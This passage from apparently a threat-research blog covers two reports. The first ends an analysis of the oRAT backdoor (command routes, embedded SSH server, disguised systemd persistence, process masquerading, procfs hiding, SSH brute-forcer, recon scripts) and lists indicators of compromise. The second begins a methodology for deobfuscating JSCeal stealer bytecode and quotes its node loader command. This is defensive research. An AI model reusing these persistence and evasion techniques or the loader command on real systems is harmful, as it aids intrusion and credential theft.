  • sudp – QUIC over UDP, using the quic-go library

On top of whichever transport it picks, oRAT layers a multiplexed session and speaks HTTP through it. It uses a standard Go HTTP client, but rewrites the client’s dialer so every request is carried inside the established oRAT session instead of hitting the network directly. The agent registers with the server by posting a join request to /join, then serves operator commands as REST-style routes over that same tunnel.

Because oRAT exposes its capabilities as HTTP routes, its feature set reads almost like API documentation. The operator API includes:

RouteCapability
/agent/infoReport host details (distribution, kernel, and more)
/agent/pingLiveness check
/agent/execRun an operator-supplied command
/agent/uploadWrite an uploaded file to a chosen path
/agent/downloadRetrieve a file from the host
/agent/screenshotCapture and return a screen image
/agent/zip · /agent/unzipArchive or extract chosen paths
/agent/portscanScan hosts and ports from the victim
/agent/proxyOpen a SOCKS proxy through the host
/agent/netForward a raw TCP connection to any target
/agent/sshReach an embedded SSH / SFTP server
/agent/upgradeReplace the running binary
/agent/kill-selfDelete the agent and exit

oRAT offers two paths to run commands, and the second is the more interesting.

The direct path is a command route that hands operator input to sh -c and returns the output, standard RAT behavior.

The richer path is a fully embedded SSH server. oRAT builds its own SSH service into the agent, complete with a hardcoded RSA host key, password authentication, port-forwarding, and an SFTP handler. When an operator connects, the agent spawns an interactive shell: trying zsh, then bash, then sh with proper pseudo-terminal handling. In practice, the operator gets a real SSH session and SFTP file access on the target, tunneled through the C2 channel rather than exposed on a listening port.

oRAT’s persistence is quiet and well chosen. It installs itself to /usr/local/bin/xtables-addons and registers a systemd service named xtables-addons, wired into the standard multi-user target so it starts on boot as root. xtables-addons is a real netfilter/iptables extension package, so an administrator glancing at the process list or the service table sees what looks like legitimate firewall tooling. If the agent lacks the privileges for a system-wide install, it falls back to per-user persistence through a user service and a cron entry.

It also hides its identity in an unexpected place. The agent stores its GUID by appending a # GUID: <uuid> comment line to /etc/protocols, a legitimate system file no one thinks to check. Its lock file sits at /tmp/.lock.

The evasion posture is layered and Linux-native:

  • Process masquerade. The agent sets its process name to sshd: root@pts/0, so it reads in the process table as an interactive root SSH session. One build reinforces this by spoofing its executable path as /usr/sbin/sshd.
  • Procfs hiding. When its mount mode is enabled, the agent bind-mounts over its own /proc/<pid> entry, disrupting inspection of the running process through the proc filesystem.
  • Silent by default. Logging goes to /dev/null unless a specific debug environment variable is set.

Together, these span the process table, the filesystem, the security policy, and the kernel’s view of the process, a broad effort to make the agent hard to notice and harder to inspect.

BruteForcer

An SSH credential-checking and brute-force utility. It reads target IP addresses (-f flag), usernames (-u flag), passwords (-p flag), or pre-combined user:pass pairs (-up flag) from operator-supplied files, then attempts concurrent SSH logins against each target.

Successful credentials are printed and appended in plaintext to a local results file, res.txt. The binary has no hardcoded C2 infrastructure or persistence mechanism and its sole purpose is credential access against remote SSH services.

Recon Scripts

In some of the attacks we observed a number of Bash scripts with Chinese-language comments used by the attackers.

The first, info.sh, proceeds in four stages. It first pulls recent login activity to profile who uses the box. It then walks every user’s home directory, including root’s, to inventory .ssh folders, flag any files containing private keys, and comb .bash_history for sensitive commands involving SSH, SCP, database clients, cloud tooling, credentials, and kubectl, a fast way to harvest reusable secrets and understand the victim’s workflows. The third stage is the most refined: a storage analysis that hunts for remote network mounts (NFS, CIFS/Samba, WebDAV, cloud FUSE) and Docker volumes while deliberately filtering out overlay, tmpfs, and container-ID noise, so the operator sees only genuine lateral-movement targets rather than local container clutter – a sign the author iterated on the tool to cut false positives. Finally, it gathers classic lateral-movement intelligence: /etc/hosts entries, local listening TCP ports, and the ARP neighbor table to reveal adjacent hosts on the network.

Figure 20 - Third stage of info.sh
Figure 15 – Third stage of info.sh

The second script, findweb.sh, surveys a compromised host’s web-server landscape and maps out every site it serves. It first detects which web servers are running (Nginx, Apache, or httpd) using several fallback methods, and extends the check to containerized deployments by inspecting Docker for web-server images and any containers publishing ports 80 or 443 to the host. Where possible, it reports the ports each server listens on. It then parses the server configurations directly: for Nginx it walks the common configuration directories, resolving symbolic links and de-duplicating by real path, then extracts each virtual host’s domain (server_name), web root, and any proxy_pass upstreams; for Apache and httpd it does the equivalent, pulling DocumentRootServerName, and ServerAlias from every VirtualHost block across the standard Debian, RedHat, and common control-panel configuration paths.

The result is a concise inventory of every domain hosted on the machine, where each site’s files live on disk, and where any existing reverse-proxy rules already point. In the context of this campaign, that inventory is exactly what an operator needs to weaponize a compromised server: it reveals which trusted domains are available to abuse, the exact web roots to plant content in, and where to graft the malicious proxy module so that attacker pages are served under a legitimate site’s name.

Attribution and links to prior work

We assess with medium-to-high confidence that Gambling Goblin is tied to Earth Berberoka – a Chinese-speaking threat cluster first documented by Trend Micro in 2022. Earth Berberoka is known for targeting online gambling platforms that serve Chinese-speaking users and operators, and for working across Windows, Linux, and macOS with a mix of aged commodity RATs and purpose-built tooling. Our assessment rests on three independent overlaps: the malware, the operator artifacts, and the network infrastructure.

Tooling. The group’s use of oRAT is the clearest link. oRAT was tied to Earth Berberoka in 2022, and the variant we analyzed shares the same orat/cmd/agent codebase and REST-style operator routes. The connection extends to the group’s custom malware: one of the AlphaAgent samples we recovered was uploaded in the same archive as other tools previously attributed to Earth Berberoka, placing AlphaAgent directly alongside the group’s known toolset rather than merely resembling it.

Operator artifacts. The focus on the online gambling sector and the Chinese-language strings scattered across this campaign’s tooling (dual-language flag descriptions, Chinese script comments, and Chinese-language page artifacts) align with operator fingerprints seen in the group’s past campaigns.

Infrastructure. The group has a documented habit of registering domains that impersonate trusted platforms. Trend Micro reported github[.]wiki as an Earth Berberoka domain while the infrastructure behind Gambling Goblin follows the same playbook: lookalike domains such as github[.]la and gitlab[.]bet closely mirror that tradecraft. Reinforcing the link, many of the C2 servers in this campaign are hosted on the same Amazon ASN (AS16509) the group has relied on before.

Conclusion

This campaign marks a shift in who targets Brazil, and why. For years, the threats facing Brazilian users came mostly from home grown banking trojan crews. Brazil is a natural target for this kind of operator. It has become one of the world’s fastest-growing online-betting markets, with a vast base of mobile users accustomed to installing apps on the spot, which is exactly the audience a gambling-driven fraud operation wants to reach. For a Chinese-speaking group that has spent a decade monetizing the gambling sector, the money now runs through Brazil, and the infrastructure to exploit it is often trusted but under-secured. A vast base of mobile users conditioned to install apps on sight, and a sprawl of trusted but under-secured web servers, most of them on government .gov.br domains whose search reputation is exactly what a large-scale SEO-fraud operation needs. Compromise those servers, graft on a malicious Apache module, and the attacker turns a nation’s legitimate infrastructure into a distribution network for gambling pages and fake app stores. That is the notable part: this is not opportunistic crime but patient, industrialized abuse of reputation, and it is run with espionage-grade Linux tooling in the service of financially motivated fraud, blurring the line between cybercrime and APT.

We expect the operation to grow rather than fade. The same infrastructure that inflates search rankings today is one configuration change away from serving malware tomorrow: the phishing pages already impersonate Google Play, the Microsoft Store, and Amazon, putting the operators a single step from pushing malicious apps straight to Brazilian victims. The Vietnamese, Spanish, and English pages we uncovered show the model is being exported, and the daily domain generators show it is built to scale. Countries should expect more of this, aimed higher, not only at customers and banking credentials, but at the government institutions whose domains lend the campaign its trust. None of it depends on novel exploits. It runs on unpatched internet-facing services, weak SSH credentials, and Apache modules that no one thinks to watch. If organizations, and public-sector operators in particular, do not close those gaps – patching exposed services, auditing Apache and SSH configurations, and hunting for rogue modules and masqueraded processes, then this actor and the wider wave of global cybercrime it represents, will keep finding an open door.

IOCs

Hashes:
232ef6be134c2b7c14648aa193daf7e23e987477b8a40150dd77883947fdf017
088d0742a667f1acfc83edb94671a10b951f6745badec6d5c754ef594dddf815
88544d36beb6dc621c9376806836d0ad109ece64b589605d5674e0c86313d1c0
9d3085eac9a59a94f0473db5ec0173def8777d2f794da281fb1749389ae33cdb
263c14e84398339b25cd3e59da7e108340306fdbb8112bbe7dc0f07a71eb8a31
12af9d95c44e20a375148c25f8a2978a62ee95489134654c3537ccfb2d42120d
5af1bec4635e52da4909bf744ea4b7e4483ec944241218855212f4a9e3d48611
e8bb763bd10e727228ca9a8e3e6cf10bf4de4639b6be680a3abfb181a0adc052
fa7fc029ac13af2f3880151e9c408e9afadeba7b2cff01659806fb7c3c83288d
c3c09fe219e10808f053e580628aeb87b1f00fc683c810aa828905fe03cda98f
2567d6b42dac97a391217ad22ee375f504d541940d3fbb9436a3f5e9bb23ab91
1829efbf7946e1a958779a3e7f1e50ca63fe61c6a2ddc177c14a7b0c5e10020a
f025520d648c7799ca5bed4a9be5bee14ac33be1f1e9b20c090c8c6319404fcf
5a11ed7931fb6358846e0f3c8d69921f43f8ccade5937fc41e5c262cc49f82e8
0d4a28d5cf7b99f11ffe972abd0284d9e35b6858eeb288532a55633b3e29f9c7 
5f6d112637545a2e8c1a9f260c39698852c7a22e83db5ccfc99b99d9f6274710
c4d2efa57eef0c5defc4ca708ebe35832f8b543cf764beebef56fef6d36d4f69 
c3c6ab58514cd13638cf049332186ef6d4ec7b256913edb1cd66a19437608882
582ecca146a6aef478706e4b2774d6115a9220a18d1db8f92ee54a5118ecebd9
3a8f464f1f2b5c38173e2a96f95a690af327d85c13c04d37cf0a91893d487bdb 
02f5e07dd4c97a3de48cc886f46dad35443f1c221a352630e2c7787806ee21b6
16d35a725819142d2bd5bc0949dc518d344d6f63626a517e67fcba7322eb3844
a71498bfffae8ac694356b3f2436820b396946c9e71c8915e282c1b2fdba4162
d138d5f4fbc77650bc3be1cbf8fbd0ee292aa30eed5feec1ea7ba02e57da932b
44373953431d7570d9585c91377dbe8b6527ccc00662d249f383b003b68b459f
45b9382d7e91a4178b47c908b9b5f6884de7c5a1ef849fbf01d6c23d06d81b88
1eb40363a64e0cad15e340af476d106ccf57ebb6662c1389da1347429ee68c9c
fc789397742aee60b01292b071f79b4165981c31aa431eb1577a47c5911381c3
adbee84e9a43949b0a816f052ffb3c0b7855e078b985fea95532158c3b9389bc
0f26e1ba39ddd1f0a7e6f72bd8c4e02a5f0140de72eeda9fe5ab56402821e31e
ab7d531d298f0d77bc7bbbdc36f4f8a1732ceca90ff60e3f225a99b9b10f334e
ac99754357bd4a69c1de576977e0ee19c7354f29f7f52a9893b7a60f9c2f5248
94aa88ff6222583b2a5b791ddd655837787e31f59483ed91f860857d3399b84a
3ad35ea116b2c0855c13459a04699318b3944762385e8a47144f1d03b48f0bb1
0611c153bf8b8561ef53f2a5ba1413115bdc0e4554e0c22cf9641bd8845db03e
114824bccfafcbb42040f119fdcd3ec48f54eb154ffee6676d06986cba2b0af0
297c53d935c501864e15fe7abcfdafed83df9aafdf241094604ae405529c5eb7
0963c0034a5e0665729d686d50c5375948c4a684c56770adb13d24ff5df8013d
749784fb7846bb3b52dd8c2f660b53d95d5df30387b87b65b584ef9cc781ae52
8495598b1fec814d72caf76f1460b132071bb7305335331fed3bac9876c6e40c
98e17fe36ff77106bbbb9a04f3e00004bf872b88aab22438076966913ea83322
bcd7e5964630c34f06a43e48d696d99d7abae6b679509ad839ffa5179a972838
24f7296ac5ce844678c5f7470eaf64b28e870108ca06851c8f66a27a52003f12
2de964314a8aacc40897140f6fe21d268e24503a69f9821177e31bca7b1e4035
52863d36a216a86b2f90914db2d9229cba7ea317ab5ee9a678cb229087f04611
9d513a419bf129a42017b29eb7d084451a4f34be0828f6871439ec79f7f9b5fb
d478f867512e18d839180ceafc980c8fb26c3aa7d1c9e96d054819c81afef6f4
b88a7f3288bdf4b97d75dad4e47e5cb3d4e0962b12674a08e32e5f96e762e877
f4aceaf5c0740093f8040f5e0f29c7582a1bd7ab2bca628d162fb45c29045063
2305ae23ea350e31b05b9f071d315ee60c5a88e96ce11be8ff9db16314a6197c
99b5404df81992cad104dd242bc736d75fd6c58af34dc1a75a8ee3c5e1784fa4
85b5e95cbb5103202abebf8f84b91a286994e61b33ddef53355ab0df2a2b6d9a
cff25a9c84c893e32a9a75c1dae385934cf917f709efa11172a53ea2337fa109
154c977a113ff4d94ff2f29f7b93a8d0bd6ad8e67a820c09505117f5d386fd40
67ccc12c0a17dc31388a8c851d076edaaf1213e80398b01d46f5a29b8c7b8b9b
e8bc706b0b007d6a122c6b19e87451e550baee793540774db13b9a08803ed76a
f32dfbe4a2c11a975d735297bf76f6497ce9f5789ab8eaaef3fdd182c2f1f7b1
c59ebe5cf45935c7b5f91b5936fe2c8a5feb7ca161e40ca4e3fb93e447373fa6
3537bfeaf2c18feafeaf773700a88118fd50979d97f2c42c7e34ba6c9aa62820
2949f0b16b83b35dc8a3dfa11815b9516403e3997e13100e7b86f3bb81f6c283
0e7c96a22e3612c68866a8693cc583df95972d3444978ce163c024a45682133a
7d9f5eb3f704607e6f63681842f48071cc58f2f2e63b16b64a49440cb4b9e6e3
8a64d368ce14c5a1f5e775714bcc02f080d0541360743bb4235e0d640f1787b1
36cf87fe2e29cc8b0fd84fce91d70e62a4c4d2fc5f9650dc37440d629ae61b8f
090e886e5605255ad5708e1f27aecc54319de835abd28853e54182981410707e
fa7d8c44a0ecb5ec40832d0d2cfe22c47879317177eae88d178e156f1c8d61a3
d948b486c740b66642a5ae29dc1cb80da703ad40296bcda34a1b27216b63a5cd
612fe3a3ace706725aa5415a1cd1cf18548627b4b40636c5443cb770def30b4c
96488c59287889fcd3b9952ec78b78914fabb901c8b61a7354552439170ed148

Domains:
rb[.]aliyuntsl[.]com 
br[.]team-c2[.]com 
hwlocal[.]team-hw[.]com 
br[.]team-hw[.]com 
data[.]mirrors-inc[.]com 
team-hw[.]com 
update[.]team-c2[.]com 
devops[.]aliyuntsl[.]com  
bageyi[.]kernel-lib[.]com  
8yiu[.]kernel-lib[.]com
dnslog[.]kernel-lib[.]com
js[.]ai-jquery[.]com
api[.]onlinevrgame[.]com 
file[.]ijjjst23m[.]com
kerneltty[.]com
80[.]443[.]team
up[.]443[.]team
404[.]443[.]team
data[.]windows-update-cdn[.]com 
microsoft-azure-loadbalance[.]com
update[.]aliyun[.]la
api[.]gitlab[.]bet
github[.]la
update[.]opentls2[.]com

IPs:
154[.]84[.]62[.]160 
154[.]84[.]62[.]128 
154[.]84[.]62[.]149 
154[.]84[.]62[.]145 
15[.]228[.]251[.]82 
56[.]124[.]87[.]60  
18[.]229[.]255[.]14 
18[.]166[.]208[.]57 
18[.]228[.]136[.]28 
43[.]198[.]248[.]193
43[.]199[.]133[.]195
18[.]166[.]243[.]179
18[.]164[.]116[.]24 
13[.]203[.]9[.]172 
43[.]198[.]30[.]170 
18[.]162[.]210[.]53 
56[.]125[.]218[.]234
18[.]228[.]195[.]216
56[.]124[.]49[.]89 
54[.]207[.]196[.]189
165[.]22[.]101[.]200
172[.]80[.]8[.]202 
104[.]206[.]37[.]134
108[.]187[.]28[.]158
202[.]146[.]222[.]18
192[.]253[.]229[.]23
16[.]162[.]255[.]92
13[.]250[.]18[.]158
18[.]163[.]182[.]231
204[.]16[.]172[.]106

The post Gaming the system: how a Chinese-speaking actor turned Brazilian government sites into an SEO weapon appeared first on Check Point Research.

Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode

Research by: hasherezade

Key Points

  • Since early 2025, Check Point Research has been tracking JSCeal, a sophisticated cryptocurrency-focused stealer with broader credential-theft, surveillance, and traffic-interception capabilities, delivered as compiled V8 bytecode (JSC files).
  • The payloads are protected with javascript-obfuscator, using multiple techniques including RC4-protected strings, control-flow flattening, proxy functions, and operation wrappers.
  • Our goal was to recover the code to a level that enables detailed analysis, comparison between samples, and tracking of the malware’s evolution.
  • CPR developed a fully static deobfuscation pipeline that transforms View8 pseudocode without executing the malware. An optional LLM-assisted renaming stage can then be used to make large, recovered codebases easier to navigate.
  • The complete toolkit is publicly available at jsc_deobfuscator.
  • The deobfuscated output enabled detailed analysis of JSCeal’s capabilities and their implementation, including keylogging, browser and credential theft, and HTTPS traffic interception through a local MITM proxy.
  • We presented this research at Black Hat USA 2026. This article complements the talk by documenting the methodology in greater technical depth and providing additional examples and implementation details.
  • We conclude with a brief look at more recent JSCeal developments, including V8 code caches generated for a newer Node.js/V8 version, an additional payload-encryption layer, and macOS targeting.

Introduction

JSCeal is a stealer delivered as compiled V8 bytecode (.jsc) and executed by a bundled Node.js runtime, targeting cryptocurrency applications (other vendors also tag it with the names WEEVILPROXY or MeadowLocust). Its campaign activity dates back to March 2024 [1]; Check Point Research has been tracking the malware since early 2025. Our previous publication from July 2025 [1] focused on the campaigns, delivery chain, and targeting. In this article, we focus on the analysis problem hidden inside the final payload.

Unlike ordinary JavaScript malware, JSCeal reaches the analyst after two transformations have already removed much of the information that source-oriented tools depend on. First, the JavaScript is heavily obfuscated. Then it is compiled into V8’s internal bytecode representation and shipped as cached data rather than source code. The resulting format is version-specific, poorly served by mature reverse-engineering tooling, and unsuitable for most standard JavaScript deobfuscation workflows.

From the attacker’s perspective, this combination is attractive because it is inexpensive to produce. Node.js and its package ecosystem provide ready-made building blocks for complex applications, while public tools such as javascript-obfuscator [6] can add several layers of source-level obfuscation before compilation. The analyst receives only the compiled artifact.

In 2024, our colleague Moshe Marelus published View8, an open-source decompiler for V8 bytecode [2]. We used it as the foundation for a static deobfuscation pipeline tailored to the patterns found in JSCeal. During this work, we extended View8 [3] to make its output reproducible and suitable for automated post-processing, and implemented dedicated passes for value propagation, string reconstruction, control-flow unflattening, proxy and operation-wrapper resolution, and additional cleanup.

The goal is not perfect source recovery — V8 compilation is lossy, and the output of decompilation remains pseudocode. Instead, we aimed to recover enough structure and semantics to read the malware as code again: follow its logic, compare samples, locate capability branches, and validate behavior against concrete strings, APIs, paths, and data flow.

Later in the article, we use one selected JSCeal payload as a case study and walk through portions of the recovered code, including browser and cryptocurrency theft, keylogging, screenshot capture, and a local HTTPS interception proxy.

Distributed payloads

Let’s start by understanding the role of the JSC files in the whole attack chain.

The payloads were delivered in campaigns that began with malvertising and were followed by multiple PowerShell scripts. The complete flow is illustrated below:

Figure 1 - The final stage infection flow (image first presented in [1])
Figure 1 – The final stage infection flow (image first presented in [1])

The last stage consists of two ZIP archives downloaded by PowerShell:

  • node.zip – a packaged Node.js runtime
  • build.zip, containing the final payload and supporting components:
    • winpty-agent.exe – an agent for a hidden Windows console (open source)
    • winpty.dll – a module that allows interaction with the hidden console (open source)
    • app.jsc – The JSCeal malware payload
    • preflight.js – a decompression script
    • Native .node modules (PE format) used by the payload

The final JSC payload is distributed in Brotli-compressed [5] form and decompressed by preflight.js.

The loading is triggered by the last PowerShell script in the chain, containing the command line:

.\node.exe -r .\preflight.js .\app.jsc (the option -r forces Node to run a JS file before loading the main module).

The size and complexity of the JSC payloads varied. They were all obfuscated with the same open-source obfuscator [6].

Analysis methodology

While typical analysis procedures were sufficient for the earlier stages, the final JSC payload remained challenging. Because it was delivered as a V8 code cache rather than JavaScript source, conventional source-level JavaScript instrumentation was not directly applicable. Native-level hooking and dynamic binary instrumentation (DBI) could reveal process and API activity, but did not recover the payload’s JavaScript-level semantics at a useful level. Sandbox execution therefore provided mainly low-level system-interaction telemetry. To understand the payload’s logic, we turned to static analysis, which required deobfuscation.

Since the JSC payload is Brotli-compressed, the first step is to remove this layer. This yields the V8 code cache, which can then be supplied to a compatible disassembler. The disassembled output is then passed to the View8-based pipeline, which includes decompilation and transformation by multiple deobfuscation passes. Each pass can be used as a self-contained script. To support modularity, we extended View8 with pickle serialization of its internal object graph. We also added function-level visibility controls and metadata annotations (details in Appendix A).

Figure 2 - the pipeline demonstrating steps applied to the original JSC sample
Figure 2 – the pipeline demonstrating steps applied to the original JSC sample

Our toolkit is publicly available at https://github.com/hasherezade/jsc_deobfuscator [7]

The following flowchart describes the major steps of the pipeline; details of each follow in subsequent sections.

Figure 3 - the flowchart of the deobfuscation pipeline
Figure 3 – the flowchart of the deobfuscation pipeline

We applied the pipeline to 23 JSCeal payloads collected over several months (Appendix B); it produced analyzable output in all cases.

Environment Setup

The toolkit used for the main body of this research was developed on Linux.

The JSCeal generation analyzed in depth in this research used a bundled Node.js runtime based on V8 10.2.154.26-node.25. The distributed app.jsc was Brotli-compressed; after decompression, the resulting file was a V8 code cache that could be supplied to a compatible disassembler.

V8 cached data is version-sensitive, so before decompilation we first need to obtain a correct bytecode listing. We followed the general approach used by the View8 fork from j4k0xb [4]: build the corresponding V8 version, apply the required patches, and use a small program based directly on the V8 API to consume the cache.

During this process, we encountered a bug in the original V8 code that caused a string-printing problem and corrupted some disassemblies containing wide characters. It passed a 16-bit code unit through byte-oriented printable-character handling, which could inject malformed output into string literals and break View8 downstream. We patched the printer so that printable ASCII remains literal, byte-sized non-printable values use \xNN, and wider values are emitted as \uNNNN. The patch is included in the public repository [9], and the complete build procedure is documented on the project Wiki [10].

The released toolkit contains both the disassembler source and the V8 patches required for the supported generation. A prebuilt Linux disassembler is also distributed with the project [7release.

Decompiled output

Once we have the correct disassembly, we can proceed with decompilation. However, there are some details to keep in mind.

View8 does not reconstruct the original JavaScript source. It lifts V8 bytecode into pseudocode that reflects its underlying execution model.

Recovered functions are represented in a form such as:

function func_[name]_0x[disassembly_address]([arguments_list])

The entry point is a function labeled start, for example: func_start_0x323d9daddcd9.

In ordinary View8 output, the hexadecimal suffix is derived from address values emitted during disassembly. Because these values may differ between runs, our modified View8 can normalize function identifiers deterministically based on parse order. This makes the results reproducible (details: Appendix A).

The pseudocode follows the underlying V8 concepts rather than ordinary JavaScript local-variable names. Each function can make use of its arguments, the accumulator, and a set of local virtual registers. It also has access to its own constant pool, global variables, and context storage exposed through Scope. Function arguments are represented as a0 to aN, while local virtual registers are printed as r0 to rNACCU denotes the current V8 accumulator value.

Functions can declare nested functions and share values with them through their surrounding context. In View8, these relationships are visible through the declarer hierarchy and Scope[...] references. Values placed into a scope by a declarer function may later be consumed by nested functions. Reconstructing those relationships is essential for JSCeal because the obfuscator frequently moves constants, decoder offsets, proxy references, and dictionary objects through scope rather than keeping them local.

As the root of the function hierarchy, the start function is the only function without a declarer. The start function also initializes the global bindings used throughout the program. In raw View8 output this is visible through DeclareGlobals, for example:

ACCU = DeclareGlobals(["oQ", "kg", "xQ", func_yz_0x323d9daeb509, 893, [...] ])

For readability, our modified View8 marks global identifiers explicitly with a global_ prefix. The prefix prevents collisions with local register notation and makes later propagation easier to follow.

Since the original JavaScript was obfuscated before compilation, the View8 output contains artifacts introduced by the obfuscator, making the recovered pseudocode considerably harder to interpret. A detailed explanation of each obfuscation layer and the applied countermeasures is provided later in this article.

For example, a single function from a JSCeal payload decompiled by View8 looks like this:

function func_unknown_0x398fa079bb71(a0)
{
    r2 = Scope[19][74][func_Ht_0x398fa0799da9(136760, "ZCe3")]
    r2 = r2(a0)
    r3 = func_Ht_0x398fa0799da9(57973, "Vbp&")
    r3 = (r3 + func_Ht_0x398fa0799da9(194117, "Af5z"))
    r3 = (r3 + func_Ht_0x398fa0799da9(86681, "XDjZ"))
    r1 = r2[(r3 + func_Ht_0x398fa0799da9(100990, "5Yvr"))]
    r1 = r1()
    r2 = func_Ht_0x398fa0799da9(75831, "b6Sj")
    r0 = r1[(r2 + func_Ht_0x398fa0799da9(49188, "Amc*"))]
    return r0()
}

This is already significant progress compared with the raw bytecode, but the remaining obfuscation still makes most of the output effectively unreadable. The rest of the pipeline progressively removes those layers and transforms the output into pseudocode suitable for practical analysis.

ℹ One syntax detail is worth keeping in mind throughout the article: View8 uses its own pseudocode notation and should not be interpreted as literal JavaScript. For example, an expression such as !r6 === "0" represents the negation of the entire comparison — semantically: r6 !== "0".

Obfuscation layers

The analyzed JSCeal payloads were protected with javascript-obfuscator [6]. Its configuration is highly customizable, and the exact combination varied between samples. Across the corpus, we repeatedly observed four groups of transformations:

  • Renamed identifiers. Function and variable names are replaced with short or nonsensical identifiers.
  • String protection. Important strings are split into chunks and reconstructed through decoder functions. In the dominant variant observed in JSCeal, the stored chunks are encoded and RC4-protected.
  • Control-flow flattening. Selected functions are transformed into state machines whose intended block order is hidden behind a dispatcher.
  • Proxy and operation indirection. Function calls are forwarded through proxy helpers, while simple operations such as addition, subtraction, comparison, or function invocation are wrapped in dedicated helper functions.

The deobfuscation pipeline has to follow a specific order because the result of one pass can expose information required by the next. For example, string deobfuscation reveals not only the text used in the code, but also keys for dictionaries containing variables and function references.

Propagating values

Before we can start peeling away the obfuscation layers, we need to set the stage by propagating the variables used in the code and performing all the necessary simplifications.

Often, functions that we have to parse and resolve are not called directly, but through different variables: globals, scopes, or local registers. A similar problem applies to their arguments. Until we have everything filled and mapped, it won’t be possible to really understand the flow.

Propagating values is non-trivial: it is done in multiple ways, at different layers of the obfuscation process. Demonstrating the full variety used would take too much space, so let’s focus on a few examples. We illustrate with string decryption functions here, but the same propagation logic applies to proxy resolution and operation inlining described later. Details on the actual string deobfuscation are given in the next section, “Reconstructing strings”.

Below is a tiny function used to deobfuscate a chunk of a string. The input argument (a1) is modified by a value passed via Scope.

function func_r_0x24543eceeb91(a0, a1)
{
    r1 = (a1 - Scope[10083][2]["c"])
    return func_mt_0x3120801469(r1, a0)
}

Without knowing the actual value, we won’t be able to do the calculation required for deobfuscation. The scope is filled by a function higher in the declaration hierarchy. Once we find the particular line, we are ready to fill it.

function func_yZ_0x24543ecedfc9(a0)
{
    [...]
    Scope[10083][2] = new {"c": 742}
    [...]

After the substitution, we get:

function func_r_0x24543eceeb91(a0, a1)
{
    r1 = (a1 - 742)
    return func_mt_0x3120801469(r1, a0)
}

In this form, the function is ready to be parsed, and we can see that the value 742 is subtracted from the input argument.

Another problem is that in many parts of the code, calls to interesting functions have their arguments passed via local variables. While parsing a line, it is not immediately clear what arguments are being passed.

In the given example, the function deobfuscating a string chunk, func_r_0x24543eceeb91, is called with two arguments that are passed via dictionaries. We first collect those dictionaries, and then substitute their uses with corresponding values.

Before:

    r0 = new {"c": "SwH7", "n": 84197, "x": "PEKM", "Y": 104422, ...}
    [...]
    r7 = func_r_0x24543eceeb91(r0["c"], r0["n"])
    r7 = (r7 + func_r_0x24543eceeb91(r0["x"], r0["Y"]))

After:

    r7 = func_r_0x24543eceeb91("SwH7", 84197)
    r7 = (r7 + func_r_0x24543eceeb91("PEKM", 104422))

Once those preparations are completed, we are ready to parse the functions and resolve their outputs.

Reconstructing strings

String reconstruction is the first major deobfuscation stage. Strings are valuable artifacts on their own: they expose API names, paths, commands, URLs, object fields, and targeted services. More importantly for this pipeline, they also unlock later transformations. Recovered strings become dictionary keys, property names, and control-flow order sequences used by the unflattening and proxy-resolution passes.

The analyzed samples used two string-obfuscation variants provided by javascript-obfuscator [6]. We implemented [7] a separate pass for each.

The simpler variant, addressed by deobf_str1.py, stores string fragments in an array and retrieves them through an index transformation. It appeared only in an older sample.

The dominant variant, addressed by deobf_str2.py, adds several more layers: encoded string chunks, RC4 encryption, a large family of decoder wrappers, and arithmetic transformations of the chunk index. This is the variant described below.

Details on deobfuscation modes used by each payload are listed in Appendix C.

The string obfuscation rabbit-hole

Let’s take a closer look at how the most common JSCeal string obfuscation is implemented. This is the mode addressed by deobf_str2.py.

Just like in the simplest mode, each string is split into chunks. Then, each chunk is RC4 encrypted with a different key. The resulting content is Base64-encoded. Such obfuscated chunks are accumulated in a single array, stored inside one of the functions, and retrieved from there into a global scope. It is initialized in the start function.

An example of how the function holding the array of chunks may look is given below (keep in mind that the array may contain thousands of elements):

function func_KV_0x18c3e8c9a1c1()
{
    r0 = Scope[0]
    Scope[10824][2] = new ["s8ohWR3dRx8", "ffddSSo6sW", ... ]
}

When the program needs a string, it calls one of many decoder functions. A typical call contains a numeric value and a short RC4 key:

r2 = func_xt_0x274f42c4e909(71692, "%]hf")

The argument order is varied: some decoder functions receive (number, key), while others receive (key, number). The number is used to calculate the index of the chunk to be decrypted, relative to the aforementioned global list. The calculation is done inside the function.

To make things more complex, deobfuscation is done not just by one function, but by many similar instances. The instances may call one another, each one of them adding or subtracting a different value to the input argument. In order to calculate the actual chunk index, we have to follow the whole chain of functions, parse them, and repeat the operations they performed. At the end of the chain there is always a strongly obfuscated parent function that contributes the final operation.

The values used in calculations are not hard-coded in the function but passed via scope (details described in “Propagating values”). Example of a single deobfuscating function:

function func_r_0x7b2a9768611(a0, a1)
{
    r1 = (a1 - Scope[1][2]["V"])
    return func_xt_0x274f42c4e909(r1, a0)
}

In the above case, the index was passed via argument a1. The value retrieved from the scope is first subtracted from it. The result, along with the argument a0 representing the RC4 key, is passed to the next deobfuscation function (func_xt_0x274f42c4e909) which performs similar operations. The chain of similar calls follows multiple layers until it reaches the parent function which adds or subtracts the final value from the index, retrieves the chunk from the global array, and performs the decryption operation.

Recovering the root offset

As mentioned earlier, at the top of the chain of different deobfuscating functions that call one another, there is always an obfuscated parent. Instead of deobfuscating it, we decided to treat it as a black box. Recovering its index shift involves several steps.

The parent functions are the first string decoding functions to be declared, and in the start function, they may be called directly. Just like in the case of their children, two arguments are expected: the RC4 key, and the number used for index calculation.

Once we have found the parent, we track its direct calls and collect the arguments.

We know that the chunk index is obtained by an arithmetic operation (addition or subtraction) on the passed number. We can express it as:

index = arg (+|-) X

The goal is to find the correct X (index shift). Since this value is used to calculate the index of the chunk, the upper bound is the number of chunks in the array (N). We test candidate shifts from 0 to N-1, apply each to the input index, and attempt to decrypt the resulting chunk. If the output looks like a valid string, we treat that X as the index shift candidate.

Conceptually:

for candidate_shift in 0 .. N-1:
    candidate_chunk = array[(input_index + candidate_shift) mod N]
    plaintext = RC4(candidate_chunk, key)

    if plaintext looks plausible:
        keep candidate_shift

A plausible result from a single call is not enough: an invalid chunk can occasionally produce printable text when decrypted with the given key. The implementation therefore requires at least three distinct input/output observations for the same decoder function. It computes the candidate shifts per set, intersects those sets, and accepts the value only when it produces a printable result for each. In all the analyzed payloads this condition was sufficient to find the appropriate index shift.

This can be viewed as a bounded brute-force search. The implementation tests possible index shifts within the string-array length and uses multiple independent calls to eliminate candidates that do not produce consistent printable results.

Once the root configuration is known, the pass propagates the index shift through the collected function graph to the callers, calculating the cumulative index delta applied by each individual decoder.

Overview of the string deobfuscating pass

The string deobfuscation pass requires all arguments to be filled, as described in “Propagating values”. It works in the following steps:

  • Retrieves the start function
